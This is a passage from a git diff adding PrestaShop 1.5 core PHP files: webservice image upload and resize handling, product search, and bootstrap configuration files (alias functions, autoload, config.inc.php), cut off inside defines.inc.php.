($filename_exists) + if ($this->writePostedImageOnDisk($filename, null, null, $imageSizes, $directory)) + { + $this->imgToDisplay = $filename; + return true; + } + else + throw new WebserviceException('Unable to save this image.', array(62, 500)); + else + throw new WebserviceException('This image does not exist on disk', array(63, 500)); + break; + // Delete the image + case 'DELETE': + if ($filename_exists) + { + // Delete products image in DB + if ($this->imageType == 'products') + { + $image = new Image((int)$this->wsObject->urlSegment[3]); + return $image->delete(); + } + elseif (in_array($this->imageType, array('categories', 'manufacturers', 'suppliers', 'stores'))) + { + $object = new $this->wsObject->resourceList[$this->imageType]['class']((int)$this->wsObject->urlSegment[2]); + return $object->deleteImage(true); + } + else + return $this->deleteImageOnDisk($filename, $imageSizes, $directory); + } + else + throw new WebserviceException('This image does not exist on disk', array(64, 500)); + break; + // Add the image + case 'POST': + if ($filename_exists) + throw new WebserviceException('This image already exists. To modify it, please use the PUT method', array(65, 400)); + else + { + if ($this->writePostedImageOnDisk($filename, null, null, $imageSizes, $directory)) + return true; + else + throw new WebserviceException('Unable to save this image', array(66, 500)); + } + break; + default : + throw new WebserviceException('This method is not allowed', array(67, 405)); + } + } + + /** + * Delete the image on disk + * + * @param string $filePath the image file path + * @param array $imageTypes The differents sizes + * @param string $parentPath The parent path + * @return boolean + */ + protected function deleteImageOnDisk($filePath, $imageTypes = null, $parentPath = null) + { + $this->wsObject->setOutputEnabled(false); + if (file_exists($filePath)) + { + // delete image on disk + @unlink($filePath); + // Delete declinated image if needed + if ($imageTypes) + { + foreach ($imageTypes as $imageType) + { + if ($this->defaultImage) // @todo products images too !! + $declination_path = $parentPath.$this->wsObject->urlSegment[3].'-default-'.$imageType['name'].'.jpg'; + else + $declination_path = $parentPath.$this->wsObject->urlSegment[2].'-'.$imageType['name'].'.jpg'; + if (!@unlink($declination_path)) + { + $this->objOutput->setStatus(204); + return false; + } + } + } + return true; + } + else + { + $this->objOutput->setStatus(204); + return false; + } + } + + /** + * Write the image on disk + * + * @param string $basePath + * @param string $newPath + * @param int $destWidth + * @param int $destHeight + * @param array $imageTypes + * @param string $parentPath + * @return string + */ + protected function writeImageOnDisk($basePath, $newPath, $destWidth = null, $destHeight = null, $imageTypes = null, $parentPath = null) + { + list($sourceWidth, $sourceHeight, $type, $attr) = getimagesize($basePath); + if (!$sourceWidth) + throw new WebserviceException('Image width was null', array(68, 400)); + if ($destWidth == null) $destWidth = $sourceWidth; + if ($destHeight == null) $destHeight = $sourceHeight; + switch ($type) + { + case 1: + $sourceImage = imagecreatefromgif($basePath); + break; + case 3: + $sourceImage = imagecreatefrompng($basePath); + break; + case 2: + default: + $sourceImage = imagecreatefromjpeg($basePath); + break; + } + + $widthDiff = $destWidth / $sourceWidth; + $heightDiff = $destHeight / $sourceHeight; + + if ($widthDiff > 1 && $heightDiff > 1) + { + $nextWidth = $sourceWidth; + $nextHeight = $sourceHeight; + } + else + { + if ((int)(Configuration::get('PS_IMAGE_GENERATION_METHOD')) == 2 || ((int)(Configuration::get('PS_IMAGE_GENERATION_METHOD')) == 0 && $widthDiff > $heightDiff)) + { + $nextHeight = $destHeight; + $nextWidth = (int)(($sourceWidth * $nextHeight) / $sourceHeight); + $destWidth = ((int)(Configuration::get('PS_IMAGE_GENERATION_METHOD')) == 0 ? $destWidth : $nextWidth); + } + else + { + $nextWidth = $destWidth; + $nextHeight = (int)($sourceHeight * $destWidth / $sourceWidth); + $destHeight = ((int)(Configuration::get('PS_IMAGE_GENERATION_METHOD')) == 0 ? $destHeight : $nextHeight); + } + } + + $borderWidth = (int)(($destWidth - $nextWidth) / 2); + $borderHeight = (int)(($destHeight - $nextHeight) / 2); + + // Build the image + if ( + !($destImage = imagecreatetruecolor($destWidth, $destHeight)) || + !($white = imagecolorallocate($destImage, 255, 255, 255)) || + !imagefill($destImage, 0, 0, $white) || + !imagecopyresampled($destImage, $sourceImage, $borderWidth, $borderHeight, 0, 0, $nextWidth, $nextHeight, $sourceWidth, $sourceHeight) || + !imagecolortransparent($destImage, $white) + ) + throw new WebserviceException(sprintf('Unable to build the image "%s".', str_replace(_PS_ROOT_DIR_, '[SHOP_ROOT_DIR]', $newPath)), array(69, 500)); + + // Write it on disk + $imaged = false; + switch ($this->imgExtension) + { + case 'gif': + $imaged = imagegif($destImage, $newPath); + break; + case 'png': + $imaged = imagepng($destImage, $newPath, 7); + break; + case 'jpeg': + default: + $imaged = imagejpeg($destImage, $newPath, 90); + break; + } + imagedestroy($destImage); + if (!$imaged) + throw new WebserviceException(sprintf('Unable to write the image "%s".', str_replace(_PS_ROOT_DIR_, '[SHOP_ROOT_DIR]', $newPath)), array(70, 500)); + + // Write image declinations if present + if ($imageTypes) + { + foreach ($imageTypes as $imageType) + { + if ($this->defaultImage) + $declination_path = $parentPath.$this->wsObject->urlSegment[3].'-default-'.$imageType['name'].'.jpg'; + else + { + if ($this->imageType == 'products') + { + $declination_path = $parentPath.$this->wsObject->urlSegment[2].'-'.$this->productImageDeclinationId.'-'.$imageType['name'].'.jpg'; + } + else + $declination_path = $parentPath.$this->wsObject->urlSegment[2].'-'.$imageType['name'].'.jpg'; + } + if (!$this->writeImageOnDisk($basePath, $declination_path, $imageType['width'], $imageType['height'])) + throw new WebserviceException(sprintf('Unable to save the declination "%s" of this image.', $imageType['name']), array(71, 500)); + } + } + return $newPath; + } + + /** + * Write the posted image on disk + * + * @param string $sreceptionPath + * @param int $destWidth + * @param int $destHeight + * @param array $imageTypes + * @param string $parentPath + * @return boolean + */ + protected function writePostedImageOnDisk($receptionPath, $destWidth = null, $destHeight = null, $imageTypes = null, $parentPath = null) + { + if ($this->wsObject->method == 'PUT') + { + if (isset($_FILES['image']['tmp_name']) && $_FILES['image']['tmp_name']) + { + $file = $_FILES['image']; + if ($file['size'] > $this->imgMaxUploadSize) + throw new WebserviceException(sprintf('The image size is too large (maximum allowed is %d KB)', ($this->imgMaxUploadSize/1000)), array(72, 400)); + // Get mime content type + $mime_type = false; + if (Tools::isCallable('finfo_open')) + { + $const = defined('FILEINFO_MIME_TYPE') ? FILEINFO_MIME_TYPE : FILEINFO_MIME; + $finfo = finfo_open($const); + $mime_type = finfo_file($finfo, $file['tmp_name']); + finfo_close($finfo); + } + elseif (Tools::isCallable('mime_content_type')) + $mime_type = mime_content_type($file['tmp_name']); + elseif (Tools::isCallable('exec')) + $mime_type = trim(exec('file -b --mime-type '.escapeshellarg($file['tmp_name']))); + if (empty($mime_type) || $mime_type == 'regular file') + $mime_type = $file['type']; + if (($pos = strpos($mime_type, ';')) !== false) + $mime_type = substr($mime_type, 0, $pos); + + // Check mime content type + if(!$mime_type || !in_array($mime_type, $this->acceptedImgMimeTypes)) + throw new WebserviceException('This type of image format not recognized, allowed formats are: '.implode('", "', $this->acceptedImgMimeTypes), array(73, 400)); + // Check error while uploading + elseif ($file['error']) + throw new WebserviceException('Error while uploading image. Please change your server\'s settings', array(74, 400)); + + // Try to copy image file to a temporary file + if (!($tmpName = tempnam(_PS_TMP_IMG_DIR_, 'PS')) || !move_uploaded_file($_FILES['image']['tmp_name'], $tmpName)) + throw new WebserviceException('Error while copying image to the temporary directory', array(75, 400)); + // Try to copy image file to the image directory + else + { + $result = $this->writeImageOnDisk($tmpName, $receptionPath, $destWidth, $destHeight, $imageTypes, $parentPath); + } + @unlink($tmpName); + return $result; + } + else + throw new WebserviceException('Please set an "image" parameter with image data for value', array(76, 400)); + } + elseif ($this->wsObject->method == 'POST') + { + if (isset($_FILES['image']['tmp_name']) && $_FILES['image']['tmp_name']) + { + $file = $_FILES['image']; + if ($file['size'] > $this->imgMaxUploadSize) + throw new WebserviceException(sprintf('The image size is too large (maximum allowed is %d KB)', ($this->imgMaxUploadSize/1000)), array(72, 400)); + require_once(_PS_ROOT_DIR_.'/images.inc.php'); + if ($error = ImageManager::validateUpload($file)) + throw new WebserviceException('Image upload error : '.$error, array(76, 400)); + if (isset($file['tmp_name']) && $file['tmp_name'] != null) + { + if ($this->imageType == 'products') + { + $product = new Product((int)$this->wsObject->urlSegment[2]); + if (!Validate::isLoadedObject($product)) + throw new WebserviceException('Product '.(int)$this->wsObject->urlSegment[2].' doesn\'t exists', array(76, 400)); + $image = new Image(); + $image->id_product = (int)($product->id); + $image->position = Image::getHighestPosition($product->id) + 1; + + if (!Image::getCover((int)$product->id)) + $image->cover = 1; + else + $image->cover = 0; + + if (!$image->add()) + throw new WebserviceException('Error while creating image', array(76, 400)); + if (!Validate::isLoadedObject($product)) + throw new WebserviceException('Product '.(int)$this->wsObject->urlSegment[2].' doesn\'t exists', array(76, 400)); + } + + // copy image + if (!isset($file['tmp_name'])) + return false; + if ($error = ImageManager::validateUpload($file, $this->imgMaxUploadSize)) + throw new WebserviceException('Bad image : '.$error, array(76, 400)); + + if ($this->imageType == 'products') + { + $image = new Image($image->id); + if (!(Configuration::get('PS_OLD_FILESYSTEM') && file_exists(_PS_PROD_IMG_DIR_.$product->id.'-'.$image->id.'.jpg'))) + $image->createImgFolder(); + + if (!($tmpName = tempnam(_PS_TMP_IMG_DIR_, 'PS')) || !move_uploaded_file($file['tmp_name'], $tmpName)) + throw new WebserviceException('An error occurred during the image upload', array(76, 400)); + elseif (!ImageManager::resize($tmpName, _PS_PROD_IMG_DIR_.$image->getExistingImgPath().'.'.$image->image_format)) + throw new WebserviceException('An error occurred while copying image', array(76, 400)); + else + { + $imagesTypes = ImageType::getImagesTypes('products'); + foreach ($imagesTypes AS $imageType) + if (!ImageManager::resize($tmpName, _PS_PROD_IMG_DIR_.$image->getExistingImgPath().'-'.stripslashes($imageType['name']).'.'.$image->image_format, $imageType['width'], $imageType['height'], $image->image_format)) + $this->_errors[] = Tools::displayError('An error occurred while copying image:').' '.stripslashes($imageType['name']); + } + @unlink($tmpName); + $this->imgToDisplay = _PS_PROD_IMG_DIR_.$image->getExistingImgPath().'.'.$image->image_format; + $this->objOutput->setFieldsToDisplay('full'); + $this->output = $this->objOutput->renderEntity($image, 1); + $image_content = array('sqlId' => 'content', 'value' => base64_encode(file_get_contents($this->imgToDisplay)), 'encode' => 'base64'); + $this->output .= $this->objOutput->objectRender->renderField($image_content); + } + elseif (in_array($this->imageType, array('categories', 'manufacturers', 'suppliers', 'stores'))) + { + if (!($tmpName = tempnam(_PS_TMP_IMG_DIR_, 'PS')) || !move_uploaded_file($file['tmp_name'], $tmpName)) + throw new WebserviceException('An error occurred during the image upload', array(76, 400)); + elseif (!ImageManager::resize($tmpName, $receptionPath)) + throw new WebserviceException('An error occurred while copying image', array(76, 400)); + $imagesTypes = ImageType::getImagesTypes($this->imageType); + foreach ($imagesTypes as $imageType) + if (!ImageManager::resize($tmpName, $parentPath.$this->wsObject->urlSegment[2].'-'.stripslashes($imageType['name']).'.jpg', $imageType['width'], $imageType['height'])) + $this->_errors[] = Tools::displayError('An error occurred while copying image:').' '.stripslashes($imageType['name']); + @unlink(_PS_TMP_IMG_DIR_.$tmpName); + $this->imgToDisplay = $receptionPath; + } + return true; + } + } + } + else + throw new WebserviceException('Method '.$this->wsObject->method.' is not allowed for an image resource', array(77, 405)); + } +} diff --git a/classes/webservice/WebserviceSpecificManagementInterface.php b/classes/webservice/WebserviceSpecificManagementInterface.php new file mode 100755 index 0000000..ff7361b --- /dev/null +++ b/classes/webservice/WebserviceSpecificManagementInterface.php @@ -0,0 +1,42 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +interface WebserviceSpecificManagementInterface +{ + public function setObjectOutput(WebserviceOutputBuilderCore $obj); + public function getObjectOutput(); + public function setWsObject(WebserviceRequestCore $obj); + public function getWsObject(); + + public function manage(); + + /** + * This must be return an array with specific values as WebserviceRequest expects. + * + * @return array + */ + public function getContent(); +} \ No newline at end of file diff --git a/classes/webservice/WebserviceSpecificManagementSearch.php b/classes/webservice/WebserviceSpecificManagementSearch.php new file mode 100755 index 0000000..c257910 --- /dev/null +++ b/classes/webservice/WebserviceSpecificManagementSearch.php @@ -0,0 +1,120 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class WebserviceSpecificManagementSearchCore implements WebserviceSpecificManagementInterface +{ + protected $objOutput; + protected $output; + protected $wsObject; + + // ------------------------------------------------ + // GETTERS & SETTERS + // ------------------------------------------------ + + public function setObjectOutput(WebserviceOutputBuilderCore $obj) + { + $this->objOutput = $obj; + return $this; + } + + public function setWsObject(WebserviceRequestCore $obj) + { + $this->wsObject = $obj; + return $this; + } + + public function getWsObject() + { + return $this->wsObject; + } + public function getObjectOutput() + { + return $this->objOutput; + } + + public function setUrlSegment($segments) + { + $this->urlSegment = $segments; + return $this; + } + + public function getUrlSegment() + { + return $this->urlSegment; + } + + /** + * Management of search + * + */ + public function manage() + { + if (!isset($this->wsObject->urlFragments['query']) || !isset($this->wsObject->urlFragments['language'])) + throw new WebserviceException('You have to set both the \'language\' and \'query\' parameters to get a result', array(100, 400)); + $objects_products = array(); + $objects_categories = array(); + $objects_products['empty'] = new Product(); + $objects_categories['empty'] = new Category(); + + $this->_resourceConfiguration = $objects_products['empty']->getWebserviceParameters(); + + if (!$this->wsObject->setFieldsToDisplay()) + return false; + + $results = Search::find($this->wsObject->urlFragments['language'], $this->wsObject->urlFragments['query'], 1, 1, 'position', 'desc', true, false); + $categories = array(); + foreach ($results AS $result) + { + $current = new Product($result['id_product']); + $objects_products[] = $current; + $categories_result = $current->getWsCategories(); + foreach ($categories_result as $category_result) + foreach ($category_result as $id) + $categories[] = $id; + } + $categories = array_unique($categories); + foreach ($categories as $id) + $objects_categories[] = new Category($id); + + $this->output .= $this->objOutput->getContent($objects_products, null, $this->wsObject->fieldsToDisplay, $this->wsObject->depth, WebserviceOutputBuilder::VIEW_LIST, false); + // @todo allow fields of type category and product + // $this->_resourceConfiguration = $objects_categories['empty']->getWebserviceParameters(); + // if (!$this->setFieldsToDisplay()) + // return false; + + $this->output .= $this->objOutput->getContent($objects_categories, null, $this->wsObject->fieldsToDisplay, $this->wsObject->depth, WebserviceOutputBuilder::VIEW_LIST, false); + } + + /** + * This must be return a string with specific values as WebserviceRequest expects. + * + * @return string + */ + public function getContent() + { + return $this->objOutput->getObjectRender()->overrideContent($this->output); + } +} \ No newline at end of file diff --git a/classes/webservice/index.php b/classes/webservice/index.php new file mode 100755 index 0000000..c1c95ce --- /dev/null +++ b/classes/webservice/index.php @@ -0,0 +1,35 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../'); +exit; \ No newline at end of file diff --git a/cms.php b/cms.php new file mode 100755 index 0000000..5eef078 --- /dev/null +++ b/cms.php @@ -0,0 +1,37 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +require(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=cms'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/config/alias.php b/config/alias.php new file mode 100755 index 0000000..9c4cbb3 --- /dev/null +++ b/config/alias.php @@ -0,0 +1,88 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +function fd($var) +{ + return (Tools::fd($var)); +} + +function p($var) +{ + return (Tools::p($var)); +} + +function d($var) +{ + Tools::d($var); +} + +function ppp($var) +{ + return (Tools::p($var)); +} + +function ddd($var) +{ + Tools::d($var); +} + +/** + * Sanitize data which will be injected into SQL query + * + * @param string $string SQL data which will be injected into SQL query + * @param boolean $htmlOK Does data contain HTML code ? (optional) + * @return string Sanitized data + */ +function pSQL($string, $htmlOK = false) +{ + // Avoid thousands of "Db::getInstance()"... + static $db = false; + if (!$db) + $db = Db::getInstance(); + + return $db->escape($string, $htmlOK); +} + +function bqSQL($string) +{ + return str_replace('`', '\`', pSQL($string)); +} + +function displayFatalError() +{ + $error = error_get_last(); + if ($error !== NULL && in_array($error['type'], array(E_ERROR, E_PARSE))) + echo '[PrestaShop] Fatal error in module '.substr(basename($error['file']), 0, -4).':<br />'.$error['message']; +} + +/** + * @deprecated + */ +function nl2br2($string) +{ + Tools::displayAsDeprecated(); + return Tools::nl2br($string); +} \ No newline at end of file diff --git a/config/autoload.php b/config/autoload.php new file mode 100755 index 0000000..7a9c0f4 --- /dev/null +++ b/config/autoload.php @@ -0,0 +1,31 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +// Include some alias functions +require_once(dirname(__FILE__).'/alias.php'); +require_once(dirname(__FILE__).'/../classes/Autoload.php'); + +spl_autoload_register(array(Autoload::getInstance(), 'load')); diff --git a/config/config.inc.php b/config/config.inc.php new file mode 100755 index 0000000..cceca62 --- /dev/null +++ b/config/config.inc.php @@ -0,0 +1,219 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +require_once(dirname(__FILE__).'/defines.inc.php'); +$start_time = microtime(true); + +/* SSL configuration */ +define('_PS_SSL_PORT_', 443); + +/* Improve PHP configuration to prevent issues */ +ini_set('upload_max_filesize', '100M'); +ini_set('default_charset', 'utf-8'); +ini_set('magic_quotes_runtime', 0); + +/* correct Apache charset (except if it's too late */ +if (!headers_sent()) + header('Content-Type: text/html; charset=utf-8'); + +/* No settings file? goto installer... */ +if (!file_exists(dirname(__FILE__).'/settings.inc.php')) +{ + $dir = ((substr($_SERVER['REQUEST_URI'], -1) == '/' || is_dir($_SERVER['REQUEST_URI'])) ? $_SERVER['REQUEST_URI'] : dirname($_SERVER['REQUEST_URI']).'/'); + if (!file_exists(dirname(__FILE__).'/../install')) + die('Error: "install" directory is missing'); + header('Location: install/'); + exit; +} + +require_once(dirname(__FILE__).'/settings.inc.php'); + +require_once(dirname(__FILE__).'/autoload.php'); + +if (_PS_DEBUG_PROFILING_) +{ + include_once(_PS_TOOL_DIR_.'profiling/Controller.php'); + include_once(_PS_TOOL_DIR_.'profiling/ObjectModel.php'); + include_once(_PS_TOOL_DIR_.'profiling/Hook.php'); + include_once(_PS_TOOL_DIR_.'profiling/Db.php'); + include_once(_PS_TOOL_DIR_.'profiling/Tools.php'); +} + +/* Redefine REQUEST_URI if empty (on some webservers...) */ +if (!isset($_SERVER['REQUEST_URI']) || empty($_SERVER['REQUEST_URI'])) +{ + if (!isset($_SERVER['SCRIPT_NAME']) && isset($_SERVER['SCRIPT_FILENAME'])) + $_SERVER['SCRIPT_NAME'] = $_SERVER['SCRIPT_FILENAME']; + if (isset($_SERVER['SCRIPT_NAME'])) + { + if (basename($_SERVER['SCRIPT_NAME']) == 'index.php' && empty($_SERVER['QUERY_STRING'])) + $_SERVER['REQUEST_URI'] = dirname($_SERVER['SCRIPT_NAME']).'/'; + else + { + $_SERVER['REQUEST_URI'] = $_SERVER['SCRIPT_NAME']; + if (isset($_SERVER['QUERY_STRING']) && !empty($_SERVER['QUERY_STRING'])) + $_SERVER['REQUEST_URI'] .= '?'.$_SERVER['QUERY_STRING']; + } + } +} + +/* Trying to redefine HTTP_HOST if empty (on some webservers...) */ +if (!isset($_SERVER['HTTP_HOST']) || empty($_SERVER['HTTP_HOST'])) + $_SERVER['HTTP_HOST'] = @getenv('HTTP_HOST'); + +$context = Context::getContext(); + +/* Initialize the current Shop */ +$context->shop = Shop::initialize(); +define('_THEME_NAME_', $context->shop->getTheme()); +define('__PS_BASE_URI__', $context->shop->getBaseURI()); + + +/* Include all defines related to base uri and theme name */ +require_once(dirname(__FILE__).'/defines_uri.inc.php'); + +global $_MODULES; +$_MODULES = array(); + +/* Load configuration */ +Configuration::loadConfiguration(); + +/* Load all languages */ +Language::loadLanguages(); + +/* Loading default country */ +$defaultCountry = new Country(Configuration::get('PS_COUNTRY_DEFAULT'), Configuration::get('PS_LANG_DEFAULT')); +$context->country = $defaultCountry; + +/* It is not safe to rely on the system's timezone settings, and this would generate a PHP Strict Standards notice. */ +@date_default_timezone_set(Configuration::get('PS_TIMEZONE')); + +/* Set locales */ +$locale = strtolower(Configuration::get('PS_LOCALE_LANGUAGE')).'_'.strtoupper(Configuration::get('PS_LOCALE_COUNTRY').'.UTF-8'); +setlocale(LC_COLLATE, $locale); +setlocale(LC_CTYPE, $locale); +setlocale(LC_TIME, $locale); +setlocale(LC_NUMERIC, 'en_US.UTF-8'); + +/* Instantiate cookie */ + + +$cookie_lifetime = (int)(defined('_PS_ADMIN_DIR_') ? Configuration::get('PS_COOKIE_LIFETIME_BO') : Configuration::get('PS_COOKIE_LIFETIME_FO')); +$cookie_lifetime = time() + (max($cookie_lifetime, 1) * 3600); + +if (defined('_PS_ADMIN_DIR_')) + $cookie = new Cookie('psAdmin', '', $cookie_lifetime); +else +{ + if ($context->shop->getGroup()->share_order) + $cookie = new Cookie('ps-sg'.$context->shop->getGroup()->id, '', $cookie_lifetime, $context->shop->getUrlsSharedCart()); + else + { + $domains = null; + if ($context->shop->domain != $context->shop->domain_ssl) + $domains = array($context->shop->domain_ssl, $context->shop->domain); + + $cookie = new Cookie('ps-s'.$context->shop->id, '', $cookie_lifetime, $domains); + } +} + +$context->cookie = $cookie; + +/* Create employee if in BO, customer else */ +if (defined('_PS_ADMIN_DIR_')) +{ + $employee = new Employee($cookie->id_employee); + $context->employee = $employee; + + /* Auth on shops are recached after employee assignation */ + if ($employee->id_profile != _PS_ADMIN_PROFILE_) + Shop::cacheShops(true); + + $cookie->id_lang = (int)$employee->id_lang; +} + +/* if the language stored in the cookie is not available language, use default language */ +if (isset($cookie->id_lang) && $cookie->id_lang) + $language = new Language($cookie->id_lang); +if (!isset($language) || !Validate::isLoadedObject($language)) + $language = new Language(Configuration::get('PS_LANG_DEFAULT')); +$context->language = $language; + +if (!defined('_PS_ADMIN_DIR_')) +{ + if (isset($cookie->id_customer) && (int)$cookie->id_customer) + { + $customer = new Customer($cookie->id_customer); + if(!Validate::isLoadedObject($customer)) + $customer->logout(); + else + { + $customer->logged = $cookie->logged; + + if ($customer->id_lang != $context->language->id) + { + $customer->id_lang = $context->language->id; + $customer->update(); + } + } + } + + if (!isset($customer) || !Validate::isLoadedObject($customer)) + { + $customer = new Customer(); + + // Change the default group + if (Group::isFeatureActive()) + $customer->id_default_group = Configuration::get('PS_UNIDENTIFIED_GROUP'); + } + $customer->id_guest = $cookie->id_guest; + $context->customer = $customer; +} + +/* Link should also be initialized in the context here for retrocompatibility */ +$https_link = (Tools::usingSecureMode() && Configuration::get('PS_SSL_ENABLED')) ? 'https://' : 'http://'; +$context->link = new Link($https_link, $https_link); + +/** + * @deprecated : these defines are going to be deleted on 1.6 version of Prestashop + * USE : Configuration::get() method in order to getting the id of order state + */ +define('_PS_OS_CHEQUE_', Configuration::get('PS_OS_CHEQUE')); +define('_PS_OS_PAYMENT_', Configuration::get('PS_OS_PAYMENT')); +define('_PS_OS_PREPARATION_', Configuration::get('PS_OS_PREPARATION')); +define('_PS_OS_SHIPPING_', Configuration::get('PS_OS_SHIPPING')); +define('_PS_OS_DELIVERED_', Configuration::get('PS_OS_DELIVERED')); +define('_PS_OS_CANCELED_', Configuration::get('PS_OS_CANCELED')); +define('_PS_OS_REFUND_', Configuration::get('PS_OS_REFUND')); +define('_PS_OS_ERROR_', Configuration::get('PS_OS_ERROR')); +define('_PS_OS_OUTOFSTOCK_', Configuration::get('PS_OS_OUTOFSTOCK')); +define('_PS_OS_BANKWIRE_', Configuration::get('PS_OS_BANKWIRE')); +define('_PS_OS_PAYPAL_', Configuration::get('PS_OS_PAYPAL')); +define('_PS_OS_WS_PAYMENT_', Configuration::get('PS_OS_WS_PAYMENT')); + +/* Get smarty */ +require_once(dirname(__FILE__).'/smarty.config.inc.php'); +$context->smarty = $smarty; diff --git a/config/defines.inc.php b/config/defines.inc.php new file mode 100755 index 0000000..6e7028b --- /dev/null +++ b/config/defines.inc.php @@ -0,0 +1,168 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php 